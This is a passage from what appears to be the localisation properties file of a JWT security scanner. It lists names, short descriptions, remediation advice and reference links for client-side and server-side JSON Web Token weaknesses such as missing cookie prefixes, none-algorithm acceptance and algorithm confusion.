cross-site script inclusion, and timing attacks. 47 | jwt.scanner.client.vulnerability.cookiesamesite.soln=Ensure that the SameSite attribute is set to either 'lax' or ideally 'strict' for all cookies. 48 | jwt.scanner.client.vulnerability.cookiesamesite.refs=https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site 49 | 50 | jwt.scanner.client.vulnerability.cookieprefix.name=Cookie Containing JWT is Lacking __Secure- or __Host- Prefixes 51 | jwt.scanner.client.vulnerability.cookieprefix.desc=A cookie has been set without the __Secure- or __Host- prefixes, which means that the cookie can be added using Set-Cookie header via unencrypted connections or via malicious subdomains. 52 | jwt.scanner.client.vulnerability.cookieprefix.soln=Whenever a cookie contains sensitive information or is a session token, ensure hardening the cookie using cookie prefixes. 53 | jwt.scanner.client.vulnerability.cookieprefix.refs=https://googlechrome.github.io/samples/cookie-prefixes/ 54 | 55 | jwt.scanner.client.vulnerability.urlparam.name=JWT Leaked in URL 56 | jwt.scanner.client.vulnerability.urlparam.desc=The request contains JWT which is leaked in the URL. This can violate PCI and most organizational compliance policies. You can configure the list of strings for this check to add or remove values specific to your environment. 57 | jwt.scanner.client.vulnerability.urlparam.soln=Do not pass sensitive information in URIs. 58 | jwt.scanner.client.vulnerability.urlparam.refs=https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_Cheat_Sheet_for_Java.html 59 | 60 | jwt.scanner.client.vulnerability.formparam.name=JWT is in Form. 61 | jwt.scanner.client.vulnerability.formparam.desc=The request contains JWT in Form param, as this is not part of cookies so assumption is that token is either present in Local Storage/Session Storage or hidden form field. In case if XSS is there then this way of storing parameter can be dangerous. 62 | jwt.scanner.client.vulnerability.formparam.soln=Ensure that XSS is not there in the application or Use Finger printing technique as mentioned in https://github.com/SasanLabs/JWTExtension#fingerprinting-jwt-token 63 | jwt.scanner.client.vulnerability.formparam.refs=https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_Cheat_Sheet_for_Java.html 64 | 65 | jwt.scanner.client.vulnerability.headers.name=JWT is in HTTP Header 66 | jwt.scanner.client.vulnerability.headers.desc=The request contains JWT in HTTP Header, as this is not part of cookies the assumption is that token is either present in Local Storage/Session Storage or hidden form field. In the case XSS is possible against the app/system then this way of storing the parameter can be dangerous. 67 | jwt.scanner.client.vulnerability.headers.soln=Ensure that XSS is not possible in the application or use finger printing technique as mentioned in https://github.com/SasanLabs/JWTExtension#fingerprinting-jwt-token 68 | jwt.scanner.client.vulnerability.headers.refs=https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_Cheat_Sheet_for_Java.html 69 | 70 | 71 | # Server side JWT vulnerabilities 72 | jwt.scanner.server.vulnerability.headerAttack.noneAlgorithm.name=None Hashing Algorithm Attack 73 | jwt.scanner.server.vulnerability.headerAttack.noneAlgorithm.desc=JWT library accepts none hashing algorithm. none hashing algorithm is used by the JWT in case the integrity of token is already verified.so an attacker can alter the token claims and token will be trusted by the application. 74 | jwt.scanner.server.vulnerability.headerAttack.noneAlgorithm.soln=Not allowing none hashing algorithm. 75 | jwt.scanner.server.vulnerability.headerAttack.noneAlgorithm.refs=https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_Cheat_Sheet_for_Java.html 76 | 77 | jwt.scanner.server.vulnerability.signatureAttack.nullByte.name=Null Byte Injection Attack 78 | jwt.scanner.server.vulnerability.signatureAttack.nullByte.desc=Signature bytes after null byte are ignored ie not validated hence JWT validator is vulnerable to null byte injection 79 | jwt.scanner.server.vulnerability.signatureAttack.nullByte.refs=http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection 80 | jwt.scanner.server.vulnerability.signatureAttack.nullByte.soln=Validate entire Signature and ensure the validating library or function does process beyond (or ignoring) null bytes. 81 | 82 | jwt.scanner.server.vulnerability.signatureAttack.incorrectSignature.name=JWT Signature Not Verified 83 | jwt.scanner.server.vulnerability.signatureAttack.incorrectSignature.desc=Some implementations fail to properly verify the signature of JWT tokens, which can result in them accepting tokens with invalid signatures. 84 | jwt.scanner.server.vulnerability.signatureAttack.incorrectSignature.refs=https://portswigger.net/kb/issues/00200900_jwt-signature-not-verified 85 | jwt.scanner.server.vulnerability.signatureAttack.incorrectSignature.soln=Ensure that the signature of the JWT is properly verified for all supported algorithms. 86 | 87 | jwt.scanner.server.vulnerability.signatureAttack.algorithmConfusion.name=Algorithm Confusion Attack 88 | jwt.scanner.server.vulnerability.signatureAttack.algorithmConfusion.desc=JWT library is vulnerable to Algorithm Confusion attack. 89 | jwt.scanner.server.vulnerability.signatureAttack.algorithmConfusion.refs=https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/#RSA-or-HMAC- 90 | jwt.scanner.server.vulnerability.signatureAttack.algorithmConfusion.soln=The server issuing the JWT should not trust the value provided by the user and should not choose algorithm based on the present \"alg\" field in JWT. 91 | 92 | jwt.scanner.server.vulnerability.signatureAttack.jwkCustomKey.name=Algorithm JSON Web Key Based Attack 93 | jwt.scanner.server.vulnerability.signatureAttack.jwkCustomKey.desc=JWT library is validating against the provided JSON Web Key which is a user input. 94 | jwt.scanner.server.vulnerability.signatureAttack.jwkCustomKey.refs=https://nvd.nist.gov/vuln/detail/CVE-2018-0114 95 | jwt.scanner.server.vulnerability.signatureAttack.jwkCustomKey.soln=Validating Library should not depend on user provided input 96 | 97 | jwt.scanner.server.vulnerability.signatureAttack.publiclyKnownSecrets.name=Publicly Well Known HMac Secret Attack 98 | jwt.scanner.server.vulnerability.signatureAttack.publiclyKnownSecrets.desc=JSON web tokens signed using HMac algorithm requires secret key and there are publicly well known secret keys which should not be used for signing the JSON web token as it can cause various attacks like identity theft, user impersonation etc. 99 | jwt.scanner.server.vulnerability.signatureAttack.publiclyKnownSecrets.refs=https://lab.wallarm.com/340-weak-jwt-secrets-you-should-check-in-your-code 100 | jwt.scanner.server.vulnerability.signatureAttack.publiclyKnownSecrets.soln=Secret keys used for signing should not be publicly well known or easy to guess. 101 | jwt.scanner.server.vulnerability.signatureAttack.publiclyKnownSecrets.param=JWT: \"{0}\" is signed by: \"{1}\" 102 | 103 | jwt.scanner.server.vulnerability.payloadAttack.nullByte.name=Null Byte Injection Attack 104 | jwt.scanner.server.vulnerability.payloadAttack.nullByte.desc=Payload bytes after null byte are ignored ie not included in validation of JWT hence JWT validator is vulnerable to null byte injection 105 | jwt.scanner.server.vulnerability.payloadAttack.nullByte.refs=http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection 106 | jwt.scanner.server.vulnerability.payloadAttack.nullByte.soln=Entire payload and its fields should be included while validating JWT. 107 | 108 | jwt.scanner.server.vulnerability.miscAttack.emptyTokens.name=Empty Token Injection Attack 109 | jwt.scanner.server.vulnerability.miscAttack.emptyTokens.desc=JWT without any header, payload, and signature is not validated and seems treated as valid, which should not happen. 110 | jwt.scanner.server.vulnerability.miscAttack.emptyTokens.refs=https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_Cheat_Sheet_for_Java.html 111 | jwt.scanner.server.vulnerability.miscAttack.emptyTokens.soln=Tokens even if empty should be validated properly. 112 | 113 | # JWT scanner references and solutions 114 | jwt.scanner.refs=https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_Cheat_Sheet_for_Java.html 115 | jwt.scanner.soln=See reference for further information. The solution depends on implementation details --------------------------------------------------------------------------------